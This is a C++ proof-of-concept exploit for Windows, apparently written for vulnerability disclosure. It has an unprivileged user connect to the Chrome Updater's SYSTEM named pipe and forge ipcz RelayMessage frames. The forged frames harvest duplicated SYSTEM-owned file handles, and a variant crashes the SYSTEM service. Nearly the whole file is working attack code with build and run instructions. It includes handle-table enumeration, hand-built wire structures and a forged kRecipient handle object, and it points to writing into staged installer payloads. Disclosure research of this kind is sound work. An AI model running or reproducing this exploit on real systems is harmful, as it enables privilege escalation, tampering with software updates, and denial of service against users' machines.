// poc_win.cc
//
// Proof-of-concept: AU -> SYSTEM File-handle harvest via the Chrome Updater
// IsolatedConnection RelayMessage confused-deputy, surviving the
// kMojoHandleTypeProtections allowlist (which permits "File" / "Section").
//
// Threat model: this program runs as an unprivileged Authenticated User on a
// Windows host where the system-scope Chrome Updater service is installed and
// running as SYSTEM. The updater exposes a named pipe with DACL
// (A;;GRGW;;;AU), so AU may connect. Each connection becomes a broker-to-
// broker IsolatedConnection on the SYSTEM process's single global ipcz node.
//
// Even with MOJO_SEND_INVITATION_FLAG_UNTRUSTED_PROCESS correctly plumbed
// through IsolatedConnection (the natural fix for the parent finding), the
// only gate before DuplicateHandle(SYSTEM, H, AU, ..., DUPLICATE_SAME_ACCESS)
// is MaybeCheckIfHandleIsUnsafe(), which allowlists object types "File" and
// "Section". So AU can still harvest any File-typed handle out of SYSTEM's
// table; non-allowed types (Process/Thread/Token/Event/Key/...) instead hit a
// release-fatal NOTREACHED() and terminate the SYSTEM service (DoS variant).
//
// Build (MSVC):
//   cl /EHsc /std:c++20 poc_win.cc /Fe:poc_win.exe ntdll.lib
// Build (clang-cl):
//   clang-cl /EHsc /std:c++20 poc_win.cc /Fe:poc_win.exe ntdll.lib
//
// Run as a non-admin Authenticated User:
//   poc_win.exe                       -- harvest first File handle
//   poc_win.exe --type=File           -- harvest first File handle
//   poc_win.exe --type=Process        -- DoS variant: crash SYSTEM updater
//   poc_win.exe --handle=0x1a4        -- harvest a specific handle value
//   poc_win.exe --pipe=GoogleUpdaterSystem
//
// Note: the wire-format encoding of the ipcz/mojo-ipcz framing below was
// derived from current Chromium source. Transport-level message layout in
// ipcz is not a stable ABI; if testing against a different Chrome milestone,
// re-verify struct sizes against
//   third_party/ipcz/src/ipcz/message.h
//   mojo/core/channel.h (IpczHeader)
//   mojo/core/ipcz_driver/transport.cc (ObjectHeader)
//
// This file is self-contained and does not link against Chromium.

#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winternl.h>

#include <cstdint>
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <optional>
#include <string>
#include <vector>

#pragma comment(lib, "ntdll.lib")

// ---------------------------------------------------------------------------
// Step 1: enumerate the SYSTEM updater's handle table from an AU process.
// NtQuerySystemInformation(SystemExtendedHandleInformation) is callable by
// non-admin users and returns every process's handle table including type
// indices, so we can pre-select only File-typed (or Process-typed for the
// DoS variant) handle values and avoid mis-typed guesses.
// ---------------------------------------------------------------------------

#ifndef SystemExtendedHandleInformation
#define SystemExtendedHandleInformation ((SYSTEM_INFORMATION_CLASS)64)
#endif

struct SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX {
  PVOID Object;
  ULONG_PTR UniqueProcessId;
  ULONG_PTR HandleValue;
  ULONG GrantedAccess;
  USHORT CreatorBackTraceIndex;
  USHORT ObjectTypeIndex;
  ULONG HandleAttributes;
  ULONG Reserved;
};

struct SYSTEM_HANDLE_INFORMATION_EX {
  ULONG_PTR NumberOfHandles;
  ULONG_PTR Reserved;
  SYSTEM_HANDLE_TABLE_ENTRY_INFO_EX Handles[1];
};

typedef struct _OBJECT_TYPE_INFORMATION_X {
  UNICODE_STRING TypeName;
  ULONG Reserved[22];
} OBJECT_TYPE_INFORMATION_X;

#ifndef ObjectTypeInformation
#define ObjectTypeInformation ((OBJECT_INFORMATION_CLASS)2)
#endif

static USHORT ResolveTypeIndex(const wchar_t* wanted_type) {
  // Determine the global ObjectTypeIndex for |wanted_type| by creating a
  // throwaway object of that type in *our own* process, querying its type
  // name to confirm, and looking up its entry in the system handle table.
  HANDLE probe = nullptr;
  if (_wcsicmp(wanted_type, L"File") == 0) {
    probe = CreateFileW(L"NUL", GENERIC_READ, FILE_SHARE_READ | FILE_SHARE_WRITE,
                        nullptr, OPEN_EXISTING, 0, nullptr);
  } else if (_wcsicmp(wanted_type, L"Section") == 0) {
    probe = CreateFileMappingW(INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE,
                               0, 0x1000, nullptr);
  } else if (_wcsicmp(wanted_type, L"Process") == 0) {
    probe = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION, FALSE,
                        GetCurrentProcessId());
  } else if (_wcsicmp(wanted_type, L"Event") == 0) {
    probe = CreateEventW(nullptr, TRUE, FALSE, nullptr);
  } else if (_wcsicmp(wanted_type, L"Thread") == 0) {
    probe = OpenThread(THREAD_QUERY_LIMITED_INFORMATION, FALSE,
                       GetCurrentThreadId());
  } else {
    fprintf(stderr, "[!] don't know how to probe type '%ls'\n", wanted_type);
    return 0;
  }
  if (!probe || probe == INVALID_HANDLE_VALUE) {
    fprintf(stderr, "[!] failed to create probe handle (gle=%lu)\n",
            GetLastError());
    return 0;
  }

  // Snapshot the system handle table and find our probe.
  ULONG len = 1 << 20;
  std::vector<uint8_t> buf;
  NTSTATUS st;
  for (;;) {
    buf.resize(len);
    st = NtQuerySystemInformation(SystemExtendedHandleInformation, buf.data(),
                                  len, &len);
    if (st != (NTSTATUS)0xC0000004 /*STATUS_INFO_LENGTH_MISMATCH*/) break;
    len *= 2;
  }
  if (!NT_SUCCESS(st)) {
    fprintf(stderr, "[!] NtQuerySystemInformation failed: 0x%08lx\n", st);
    CloseHandle(probe);
    return 0;
  }
  auto* info = reinterpret_cast<SYSTEM_HANDLE_INFORMATION_EX*>(buf.data());
  USHORT type_index = 0;
  const ULONG_PTR self = (ULONG_PTR)GetCurrentProcessId();
  for (ULONG_PTR i = 0; i < info->NumberOfHandles; ++i) {
    auto& e = info->Handles[i];
    if (e.UniqueProcessId == self &&
        e.HandleValue == (ULONG_PTR)(uintptr_t)probe) {
      type_index = e.ObjectTypeIndex;
      break;
    }
  }
  CloseHandle(probe);
  return type_index;
}

static std::vector<ULONG_PTR> EnumerateHandlesOfType(DWORD target_pid,
                                                     USHORT type_index) {
  std::vector<ULONG_PTR> out;
  ULONG len = 1 << 20;
  std::vector<uint8_t> buf;
  NTSTATUS st;
  for (;;) {
    buf.resize(len);
    st = NtQuerySystemInformation(SystemExtendedHandleInformation, buf.data(),
                                  len, &len);
    if (st != (NTSTATUS)0xC0000004) break;
    len *= 2;
  }
  if (!NT_SUCCESS(st)) return out;
  auto* info = reinterpret_cast<SYSTEM_HANDLE_INFORMATION_EX*>(buf.data());
  for (ULONG_PTR i = 0; i < info->NumberOfHandles; ++i) {
    auto& e = info->Handles[i];
    if (e.UniqueProcessId == (ULONG_PTR)target_pid &&
        e.ObjectTypeIndex == type_index) {
      out.push_back(e.HandleValue);
    }
  }
  return out;
}

// ---------------------------------------------------------------------------
// Step 2: ipcz / mojo-ipcz wire format. We hand-roll the minimum needed:
// the mojo Channel IpczHeader frame, the ipcz MessageHeader, the
// ConnectFromBrokerToBroker handshake, and the RelayMessage carrying one
// driver object whose ObjectHeader claims handle_owner=kRecipient.
// ---------------------------------------------------------------------------

#pragma pack(push, 1)

// mojo/core/channel.h: Channel::Message::IpczHeader (Windows: no v3 block).
struct ChannelIpczHeader {
  uint16_t size;         // = sizeof(ChannelIpczHeader)
  uint16_t num_handles;  // always 0 on Windows (handles are inlined)
  uint32_t num_bytes;    // total frame size including this header
  int64_t creation_timeticks_us;  // v2
};
static_assert(sizeof(ChannelIpczHeader) == 16, "");

// third_party/ipcz/src/ipcz/message.h: internal::MessageHeader (V0).
struct IpczMessageHeader {
  uint8_t size;        // = 24
  uint8_t version;     // = 0
  uint8_t message_id;
  uint8_t reserved0[5];
  uint64_t node_sequence_number;
  uint32_t driver_object_data_array;  // offset of DriverObjectData[] array
  uint32_t reserved1;
};
static_assert(sizeof(IpczMessageHeader) == 24, "");

struct IpczStructHeader {
  uint32_t size;
  uint32_t padding;
};

struct IpczArrayHeader {
  uint32_t num_bytes;
  uint32_t num_elements;
};

struct IpczDriverObjectData {
  uint32_t driver_data_array;
  uint16_t first_driver_handle;
  uint16_t num_driver_handles;
};

struct IpczDriverObjectArrayData {
  uint32_t first_object_index;
  uint32_t num_objects;
};

struct NodeName {
  uint64_t high;
  uint64_t low;
};

// IPCZ_MSG_ID(7): ConnectFromBrokerToBroker, v0 fields only.
// We send only v0 (StructHeader.size covers v0); the receiver tolerates a
// missing v1 block (remote_features defaults).
struct ConnectFromBrokerToBroker_V0 {
  IpczStructHeader header;
  NodeName name;
  uint32_t protocol_version;
  uint32_t num_initial_portals;
  uint32_t buffer;   // driver-object index for primary NodeLinkMemory section
  uint32_t padding;
};

// IPCZ_MSG_ID(66): RelayMessage, v0 fields.
struct RelayMessage_V0 {
  IpczStructHeader header;
  NodeName destination;
  uint32_t data;     // offset of uint8_t[] array (inner serialized message)
  uint32_t padding;
  IpczDriverObjectArrayData driver_objects;
};

// mojo/core/ipcz_driver/transport.cc: ObjectHeader (Windows layout).
struct DriverObjectHeader {
  uint32_t size;         // = sizeof(DriverObjectHeader)
  uint32_t type;         // ObjectBase::Type
  uint32_t num_handles;  // packed HANDLE values following this header
  uint8_t handle_owner;  // 0 = kSender, 1 = kRecipient
  uint8_t reserved[3];
};
static_assert(sizeof(DriverObjectHeader) == 16, "");

// mojo/core/ipcz_driver/object.h: ObjectBase::Type.
enum DriverObjectType : uint32_t {
  kTransport = 0,
  kSharedBuffer = 1,
  kSharedBufferMapping = 2,
  kTransmissiblePlatformHandle = 3,
  kWrappedPlatformHandle = 4,
  kDataPipe = 5,
};

// mojo/core/ipcz_driver/shared_buffer.cc: BufferHeader.
struct SharedBufferHeader {
  uint32_t size;
  uint32_t buffer_size;
  uint32_t mode;   // kReadOnly=0, kWritable=1, kUnsafe=2
  uint32_t padding;
  uint64_t guid_low;
  uint64_t guid_high;
};

#pragma pack(pop)

static constexpr uint8_t MSG_ConnectFromBrokerToBroker = 7;
static constexpr uint8_t MSG_RelayMessage = 66;
static constexpr uint32_t kIpczProtocolVersion = 0;
static constexpr uint32_t kPrimaryBufferSize = 64 * 1024;

// ---------------------------------------------------------------------------
// Wire builder helpers.
// ---------------------------------------------------------------------------

static size_t Align8(size_t n) { return (n + 7) & ~size_t(7); }

class IpczMessage {
 public:
  explicit IpczMessage(uint8_t id) {
    body_.resize(sizeof(IpczMessageHeader));
    auto* h = reinterpret_cast<IpczMessageHeader*>(body_.data());
    *h = {};
    h->size = sizeof(IpczMessageHeader);
    h->version = 0;
    h->message_id = id;
  }

  // Reserve space for a struct/array at the current end; returns its offset
  // (relative to the start of the ipcz MessageHeader).
  uint32_t Reserve(size_t n) {
    size_t off = body_.size();
    body_.resize(Align8(off + n));
    return static_cast<uint32_t>(off);
  }

  uint8_t* At(uint32_t off) { return body_.data() + off; }

  // Append an ArrayHeader + |n| elements of |elem_size|; returns array offset.
  uint32_t AllocateArray(size_t n, size_t elem_size) {
    size_t bytes = sizeof(IpczArrayHeader) + n * elem_size;
    uint32_t off = Reserve(bytes);
    auto* ah = reinterpret_cast<IpczArrayHeader*>(At(off));
    ah->num_bytes = static_cast<uint32_t>(Align8(bytes));
    ah->num_elements = static_cast<uint32_t>(n);
    return off;
  }

  // Append a single serialized driver object blob and register it in the
  // unified DriverObjectData[] array. Returns its index in that array.
  uint32_t AppendDriverObject(const std::vector<uint8_t>& blob) {
    uint32_t data_off = AllocateArray(blob.size(), 1);
    memcpy(At(data_off) + sizeof(IpczArrayHeader), blob.data(), blob.size());
    IpczDriverObjectData dod{};
    dod.driver_data_array = data_off;
    dod.first_driver_handle = 0;
    dod.num_driver_handles = 0;  // Windows: handles inlined in blob
    driver_objects_.push_back(dod);
    return static_cast<uint32_t>(driver_objects_.size() - 1);
  }

  // Finish: emit the unified DriverObjectData[] array and patch the header.
  std::vector<uint8_t> Finish(uint64_t seq) {
    uint32_t arr = 0;
    if (!driver_objects_.empty()) {
      arr = AllocateArray(driver_objects_.size(), sizeof(IpczDriverObjectData));
      memcpy(At(arr) + sizeof(IpczArrayHeader), driver_objects_.data(),
             driver_objects_.size() * sizeof(IpczDriverObjectData));
    }
    auto* h = reinterpret_cast<IpczMessageHeader*>(body_.data());
    h->driver_object_data_array = arr;
    h->node_sequence_number = seq;
    return body_;
  }

 private:
  std::vector<uint8_t> body_;
  std::vector<IpczDriverObjectData> driver_objects_;
};

static std::vector<uint8_t> Frame(const std::vector<uint8_t>& ipcz_body) {
  std::vector<uint8_t> out(sizeof(ChannelIpczHeader) + ipcz_body.size());
  auto* ch = reinterpret_cast<ChannelIpczHeader*>(out.data());
  ch->size = sizeof(ChannelIpczHeader);
  ch->num_handles = 0;
  ch->num_bytes = static_cast<uint32_t>(out.size());
  ch->creation_timeticks_us = 0;
  memcpy(out.data() + sizeof(ChannelIpczHeader), ipcz_body.data(),
         ipcz_body.size());
  return out;
}

// Serialise a kSharedBuffer driver object (handle_owner=kSender) wrapping a
// section we created in *our* process. The SYSTEM updater opens us with
// PROCESS_DUP_HANDLE, so kSender is valid: SYSTEM will DuplicateHandle the
// section out of our process during DecodeHandle.
static std::vector<uint8_t> MakeSharedBufferObject(HANDLE section,
                                                   uint32_t buffer_size) {
  std::vector<uint8_t> blob(sizeof(DriverObjectHeader) + sizeof(uint64_t) +
                            sizeof(SharedBufferHeader));
  auto* oh = reinterpret_cast<DriverObjectHeader*>(blob.data());
  oh->size = sizeof(DriverObjectHeader);
  oh->type = kSharedBuffer;
  oh->num_handles = 1;
  oh->handle_owner = 0;  // kSender
  oh->reserved[0] = oh->reserved[1] = oh->reserved[2] = 0;
  auto* hd = reinterpret_cast<uint64_t*>(blob.data() + sizeof(DriverObjectHeader));
  *hd = static_cast<uint64_t>(reinterpret_cast<uintptr_t>(section));
  auto* bh = reinterpret_cast<SharedBufferHeader*>(
      blob.data() + sizeof(DriverObjectHeader) + sizeof(uint64_t));
  bh->size = sizeof(SharedBufferHeader);
  bh->buffer_size = buffer_size;
  bh->mode = 2;  // kUnsafe
  bh->padding = 0;
  bh->guid_low = 0x1111111111111111ull;
  bh->guid_high = 0x2222222222222222ull;
  return blob;
}

// Serialise a kWrappedPlatformHandle driver object that *claims*
// handle_owner=kRecipient and inlines |victim_handle| -- a value from the
// SYSTEM updater's own handle table. When SYSTEM's Transport::DeserializeObject
// runs DecodeHandle on this, destination_type()==kBroker so it adopts the
// handle as-is from its own table.
static std::vector<uint8_t> MakeRecipientHandleObject(ULONG_PTR victim_handle) {
  std::vector<uint8_t> blob(sizeof(DriverObjectHeader) + sizeof(uint64_t));
  auto* oh = reinterpret_cast<DriverObjectHeader*>(blob.data());
  oh->size = sizeof(DriverObjectHeader);
  oh->type = kWrappedPlatformHandle;
  oh->num_handles = 1;
  oh->handle_owner = 1;  // kRecipient  <-- the lie
  oh->reserved[0] = oh->reserved[1] = oh->reserved[2] = 0;
  auto* hd = reinterpret_cast<uint64_t*>(blob.data() + sizeof(DriverObjectHeader));
  *hd = static_cast<uint64_t>(victim_handle);
  return blob;
}

// ---------------------------------------------------------------------------
// Named pipe I/O.
// ---------------------------------------------------------------------------

struct PipeConn {
  HANDLE h = INVALID_HANDLE_VALUE;
  HANDLE primary_section = nullptr;  // we keep ownership; SYSTEM dups it
  NodeName our_name{};
  uint64_t seq = 1;
};

static bool ConnectPipe(const std::wstring& pipe_path, PipeConn* c) {
  for (int i = 0; i < 50; ++i) {
    if (WaitNamedPipeW(pipe_path.c_str(), 2000)) break;
    Sleep(100);
  }
  c->h = CreateFileW(pipe_path.c_str(), GENERIC_READ | GENERIC_WRITE, 0,
                     nullptr, OPEN_EXISTING,
                     SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS |
                         FILE_FLAG_OVERLAPPED,
                     nullptr);
  if (c->h == INVALID_HANDLE_VALUE) {
    fprintf(stderr, "[!] CreateFile(%ls) failed: %lu\n", pipe_path.c_str(),
            GetLastError());
    return false;
  }
  return true;
}

static bool WriteAll(HANDLE h, const void* p, DWORD n) {
  OVERLAPPED ov{};
  ov.hEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
  DWORD wrote = 0;
  BOOL ok = WriteFile(h, p, n, nullptr, &ov);
  if (!ok && GetLastError() == ERROR_IO_PENDING)
    ok = GetOverlappedResult(h, &ov, &wrote, TRUE);
  else
    wrote = n;
  CloseHandle(ov.hEvent);
  return ok && wrote == n;
}

static bool ReadFrame(HANDLE h, std::vector<uint8_t>* out, DWORD timeout_ms) {
  // Channel uses PIPE_TYPE_BYTE, so we must reassemble by IpczHeader.num_bytes.
  uint8_t hdr[sizeof(ChannelIpczHeader)]{};
  DWORD got = 0;
  OVERLAPPED ov{};
  ov.hEvent = CreateEventW(nullptr, TRUE, FALSE, nullptr);
  size_t have = 0;
  while (have < sizeof(hdr)) {
    ResetEvent(ov.hEvent);
    BOOL ok = ReadFile(h, hdr + have, (DWORD)(sizeof(hdr) - have), nullptr, &ov);
    if (!ok && GetLastError() == ERROR_IO_PENDING) {
      if (WaitForSingleObject(ov.hEvent, timeout_ms) != WAIT_OBJECT_0) {
        CancelIoEx(h, &ov);
        CloseHandle(ov.hEvent);
        return false;
      }
      ok = GetOverlappedResult(h, &ov, &got, TRUE);
    } else {
      GetOverlappedResult(h, &ov, &got, TRUE);
    }
    if (!ok || got == 0) { CloseHandle(ov.hEvent); return false; }
    have += got;
  }
  auto* ch = reinterpret_cast<ChannelIpczHeader*>(hdr);
  uint32_t total = ch->num_bytes;
  if (total < sizeof(hdr) || total > (16u << 20)) {
    CloseHandle(ov.hEvent);
    return false;
  }
  out->resize(total);
  memcpy(out->data(), hdr, sizeof(hdr));
  while (have < total) {
    ResetEvent(ov.hEvent);
    BOOL ok = ReadFile(h, out->data() + have, (DWORD)(total - have), nullptr,
                       &ov);
    if (!ok && GetLastError() == ERROR_IO_PENDING) {
      if (WaitForSingleObject(ov.hEvent, timeout_ms) != WAIT_OBJECT_0) {
        CancelIoEx(h, &ov);
        CloseHandle(ov.hEvent);
        return false;
      }
      ok = GetOverlappedResult(h, &ov, &got, TRUE);
    } else {
      GetOverlappedResult(h, &ov, &got, TRUE);
    }
    if (!ok || got == 0) { CloseHandle(ov.hEvent); return false; }
    have += got;
  }
  CloseHandle(ov.hEvent);
  return true;
}

static bool SendConnect(PipeConn* c, NodeName name) {
  c->our_name = name;
  c->primary_section =
      CreateFileMappingW(INVALID_HANDLE_VALUE, nullptr, PAGE_READWRITE, 0,
                         kPrimaryBufferSize, nullptr);
  if (!c->primary_section) return false;
  // Zero-initialise the primary buffer so SYSTEM's NodeLinkMemory sees a
  // well-formed (empty) header on whichever side maps it.
  void* m = MapViewOfFile(c->primary_section, FILE_MAP_ALL_ACCESS, 0, 0, 0);
  if (m) { memset(m, 0, kPrimaryBufferSize); UnmapViewOfFile(m); }

  IpczMessage msg(MSG_ConnectFromBrokerToBroker);
  uint32_t poff = msg.Reserve(sizeof(ConnectFromBrokerToBroker_V0));
  uint32_t buf_idx =
      msg.AppendDriverObject(MakeSharedBufferObject(c->primary_section,
                                                    kPrimaryBufferSize));
  auto* p = reinterpret_cast<ConnectFromBrokerToBroker_V0*>(msg.At(poff));
  p->header.size = sizeof(ConnectFromBrokerToBroker_V0);
  p->header.padding = 0;
  p->name = name;
  p->protocol_version = kIpczProtocolVersion;
  p->num_initial_portals = 0;  // we don't need the application portal
  p->buffer = buf_idx;
  p->padding = 0;

  auto wire = Frame(msg.Finish(c->seq++));
  if (!WriteAll(c->h, wire.data(), (DWORD)wire.size())) return false;

  // Consume SYSTEM's outgoing ConnectFromBrokerToBroker (and any follow-ups
  // like RequestMemory) so the link stays alive. We don't need to act on them.
  std::vector<uint8_t> reply;
  if (!ReadFrame(c->h, &reply, 5000)) {
    fprintf(stderr, "[!] no handshake reply from updater\n");
    return false;
  }
  return true;
}

static bool SendRelay(PipeConn* c, NodeName dest, ULONG_PTR victim_handle) {
  IpczMessage msg(MSG_RelayMessage);
  uint32_t poff = msg.Reserve(sizeof(RelayMessage_V0));
  // `data` is the inner serialised message that the destination will dispatch
  // after relay. We don't care about it -- the harvest happens during the
  // relay's re-encode -- so send a 0-length array.
  uint32_t data_off = msg.AllocateArray(0, 1);
  uint32_t obj_idx =
      msg.AppendDriverObject(MakeRecipientHandleObject(victim_handle));
  auto* p = reinterpret_cast<RelayMessage_V0*>(msg.At(poff));
  p->header.size = sizeof(RelayMessage_V0);
  p->header.padding = 0;
  p->destination = dest;
  p->data = data_off;
  p->padding = 0;
  p->driver_objects.first_object_index = obj_idx;
  p->driver_objects.num_objects = 1;

  auto wire = Frame(msg.Finish(c->seq++));
  return WriteAll(c->h, wire.data(), (DWORD)wire.size());
}

// Scan |frame| for an inlined kRecipient HANDLE value (the harvested dup).
static std::optional<uint64_t> ExtractRelayedHandle(
    const std::vector<uint8_t>& frame) {
  // We don't fully parse AcceptRelayedMessage; instead, scan for the
  // DriverObjectHeader pattern {size=16, type=kWrappedPlatformHandle,
  // num_handles=1, handle_owner=kRecipient} and read the following uint64.
  for (size_t i = sizeof(ChannelIpczHeader);
       i + sizeof(DriverObjectHeader) + 8 <= frame.size(); i += 8) {
    auto* oh = reinterpret_cast<const DriverObjectHeader*>(frame.data() + i);
    if (oh->size == sizeof(DriverObjectHeader) &&
        oh->type == kWrappedPlatformHandle && oh->num_handles == 1 &&
        oh->handle_owner == 1) {
      uint64_t hv;
      memcpy(&hv, frame.data() + i + sizeof(DriverObjectHeader), sizeof(hv));
      return hv;
    }
  }
  return std::nullopt;
}

// ---------------------------------------------------------------------------
// main
// ---------------------------------------------------------------------------

int wmain(int argc, wchar_t** argv) {
  std::wstring server_name = L"GoogleUpdaterSystem";
  std::wstring want_type = L"File";
  std::optional<ULONG_PTR> forced_handle;

  for (int i = 1; i < argc; ++i) {
    std::wstring a = argv[i];
    if (a.rfind(L"--pipe=", 0) == 0) server_name = a.substr(7);
    else if (a.rfind(L"--type=", 0) == 0) want_type = a.substr(7);
    else if (a.rfind(L"--handle=", 0) == 0)
      forced_handle = (ULONG_PTR)wcstoull(a.c_str() + 9, nullptr, 0);
  }

  // mojo::NamedPlatformChannel::GetPipeNameFromServerName():
  //   \\.\pipe\mojo.<ServerName>
  // updater::GetUpdateServiceServerName(kSystem):
  //   PRODUCT_FULLNAME_STRING + "System"  (whitespace stripped)
  std::wstring pipe_path = L"\\\\.\\pipe\\mojo." + server_name;
  wprintf(L"[*] target pipe: %ls\n", pipe_path.c_str());

  // Find the SYSTEM updater PID via the pipe server.
  HANDLE probe = CreateFileW(
      pipe_path.c_str(), GENERIC_READ | GENERIC_WRITE, 0, nullptr,
      OPEN_EXISTING, SECURITY_SQOS_PRESENT | SECURITY_ANONYMOUS, nullptr);
  if (probe == INVALID_HANDLE_VALUE) {
    fprintf(stderr,
            "[!] could not open pipe (is the system-scope updater running?). "
            "gle=%lu\n",
            GetLastError());
    return 1;
  }
  DWORD updater_pid = 0;
  GetNamedPipeServerProcessId(probe, &updater_pid);
  CloseHandle(probe);
  printf("[*] SYSTEM updater pid = %lu\n", updater_pid);

  // Step 1: pick a victim handle.
  ULONG_PTR victim = 0;
  if (forced_handle) {
    victim = *forced_handle;
  } else {
    USHORT idx = ResolveTypeIndex(want_type.c_str());
    if (!idx) return 1;
    auto handles = EnumerateHandlesOfType(updater_pid, idx);
    if (handles.empty()) {
      fprintf(stderr, "[!] no %ls handles found in pid %lu\n",
              want_type.c_str(), updater_pid);
      return 1;
    }
    printf("[*] found %zu %ls handles in SYSTEM updater; picking 0x%llx\n",
           handles.size(), want_type.c_str(),
           (unsigned long long)handles.front());
    victim = handles.front();
  }

  // Step 2: open two raw connections; complete broker-to-broker handshake on
  // each with attacker-chosen NodeNames N1, N2.
  PipeConn c1, c2;
  if (!ConnectPipe(pipe_path, &c1)) return 1;
  if (!ConnectPipe(pipe_path, &c2)) return 1;
  NodeName N1{0xA1A1A1A1A1A1A1A1ull, 0xB1B1B1B1B1B1B1B1ull};
  NodeName N2{0xA2A2A2A2A2A2A2A2ull, 0xB2B2B2B2B2B2B2B2ull};
  if (!SendConnect(&c1, N1)) { fprintf(stderr, "[!] handshake 1 failed\n"); return 1; }
  if (!SendConnect(&c2, N2)) { fprintf(stderr, "[!] handshake 2 failed\n"); return 1; }
  printf("[*] both broker-to-broker links established (N1/N2 registered)\n");

  // Drain a couple of background messages so the read on c2 below sees the
  // AcceptRelayedMessage rather than e.g. RequestMemory.
  std::vector<uint8_t> scratch;
  while (ReadFrame(c2.h, &scratch, 200)) {}

  // Step 3: on conn1, send RelayMessage{destination=N2} carrying one
  // kWrappedPlatformHandle driver object with handle_owner=kRecipient and
  // HandleData=victim.
  printf("[*] sending RelayMessage(dest=N2, kRecipient handle=0x%llx)\n",
         (unsigned long long)victim);
  if (!SendRelay(&c1, N2, victim)) {
    fprintf(stderr, "[!] failed to write RelayMessage\n");
    return 1;
  }

  // Step 4: SYSTEM side:
  //   link1 DeserializeObject -> DecodeHandle: destination_type()==kBroker,
  //     adopts `victim` from SYSTEM's own table.
  //   NodeLink::OnRelayMessage -> Node::RelayMessage(N2) ->
  //     link2->Transmit(AcceptRelayedMessage).
  //   link2 SerializeObject: source_type()==kBroker && remote_process_ valid
  //     -> handle_owner=kRecipient -> EncodeHandle.
  //   If link2 ProcessTrust == kUntrusted (i.e. the parent fix is applied),
  //     MaybeCheckIfHandleIsUnsafe(victim) runs:
  //       type "File"/"Section" -> ALLOWED -> DuplicateHandle(SYSTEM, victim,
  //         AU, ..., DUPLICATE_SAME_ACCESS|DUPLICATE_CLOSE_SOURCE).
  //       any other type -> NOTREACHED() -> SYSTEM updater terminates.
  //   In current code (kTrusted), the gate is skipped and DuplicateHandle
  //     runs unconditionally for all types.
  //
  // Step 5: read AcceptRelayedMessage on conn2 and extract our duplicated
  // handle. It is now valid in *this* AU process with the same access mask
  // SYSTEM had.
  std::vector<uint8_t> reply;
  for (int i = 0; i < 20; ++i) {
    if (!ReadFrame(c2.h, &reply, 2000)) {
      // For the DoS variant the pipe will break here because SYSTEM died.
      fprintf(stderr,
              "[!] conn2 read failed/broken (SYSTEM may have NOTREACHED()'d "
              "for type %ls)\n",
              want_type.c_str());
      return 2;
    }
    if (auto hv = ExtractRelayedHandle(reply)) {
      HANDLE dup = (HANDLE)(uintptr_t)*hv;
      printf("[+] HARVEST OK: AU now owns handle 0x%llx (same-access dup of "
             "SYSTEM's 0x%llx)\n",
             (unsigned long long)*hv, (unsigned long long)victim);

      // Prove it's a real, usable handle in our process.
      BY_HANDLE_FILE_INFORMATION info{};
      if (GetFileInformationByHandle(dup, &info)) {
        printf("[+] GetFileInformationByHandle succeeded: size=%lu attr=0x%lx\n",
               info.nFileSizeLow, info.dwFileAttributes);
      }
      wchar_t path[512] = {};
      if (DWORD n = GetFinalPathNameByHandleW(dup, path, 511, 0)) {
        wprintf(L"[+] target file: %ls\n", path);
      }
      // At this point the AU process can WriteFile() into a SYSTEM-owned
      // file under %ProgramFiles(x86)%\<Company>\<Updater>\..., e.g. the
      // staged installer payload, prefs.json, or rotating log. Left as an
      // exercise to avoid trashing the test machine.
      return 0;
    }
    // Otherwise it was some other ipcz message (RequestMemory etc); keep
    // reading.
  }
  fprintf(stderr, "[!] never saw AcceptRelayedMessage on conn2\n");
  return 1;
}